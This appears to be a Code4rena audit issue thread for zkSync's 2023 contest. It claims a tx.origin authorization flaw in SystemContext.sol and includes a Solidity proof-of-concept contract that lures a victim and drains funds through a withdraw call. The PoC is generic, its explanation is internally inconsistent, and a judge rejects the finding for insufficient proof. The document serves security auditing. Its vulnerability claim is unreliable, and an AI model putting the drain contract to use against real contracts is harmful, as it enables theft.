code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/SystemContext.sol#L60-L62

Vulnerability details

Impact

By changing the transaction's call stack, an attacker can use the origin variable to pretend to be another address, as a result, the attacker can be able to enter the system without authorization and carry out evil deeds.

Proof of Concept

The vulnerability exists in the contract because it uses tx.origin to authorize users, which can be spoofed by a malicious contract that impersonates another address. The line of code that uses tx.origin is: https://github.com/code-423n4/2023-03-zksync/blob/21d9a364a4a75adfa6f1e038232d8c0f39858a64/contracts/SystemContext.sol#L61

A possible exploit scenario is as follows:

Alice owns a contract that uses tx.origin to authorize withdrawals of funds.
Bob creates a malicious contract that calls Alice’s contract and passes his own address as the recipient of the withdrawal.
Bob convinces Alice to interact with his contract, for example by offering some incentive or reward.
Bob’s contract executes the withdrawal function on Alice’s contract using Alice’s tx.origin as the sender and Bob’s address as the recipient.
Bob steals Alice’s funds without her consent or knowledge.

Proof-of-concept code for Bob's contract:

contract Malicious {
    // The address of Alice's vulnerable contract
    address public target;

    // The address of Bob
    address public attacker;

    constructor(address _target) {
        target = _target;
        attacker = msg.sender;
    }

    // A function that lures Alice to interact with this contract
    function bait() public payable {
        // Some logic that entices Alice to call this function
        // For example, sending some ether or tokens to this contract
        // Or promising some reward or benefit for calling this function
    }

    // A fallback function that calls the withdraw function on Alice's contract
    fallback() external payable {
        // The amount to withdraw from Alice's contract
        uint256 amount = 1 ether;

        // The data to call the withdraw function on Alice's contract
        bytes memory data = abi.encodeWithSignature("withdraw(uint256,address)", amount, attacker);

        // Call the withdraw function on Alice's contract using low-level call
        (bool success,) = target.call(data);

        // Check if the call was successful
        require(success, "Call failed");
    }
}

As you can see, Bob sends 0 ether to his own contract, which then calls the withdraw function on Alice’s contract with 1 ether and Bob’s address as parameters. The transaction succeeds and Bob receives 1 ether from Alice’s contract.

Tools Used

Manual audit

Recommended Mitigation Steps

The contract should not rely on tx.origin to determine the sender of the transaction. Instead, it should use msg.sender, which is the address that called the contract. This value cannot be manipulated by an attacker, as it is determined by the Ethereum Virtual Machine.

GalloDaSballo commented 1 year ago

POC incomplete at best

c4-judge commented 1 year ago

GalloDaSballo marked the issue as unsatisfactory: Insufficient proof

code-423n4 / 2023-03-zksync-findings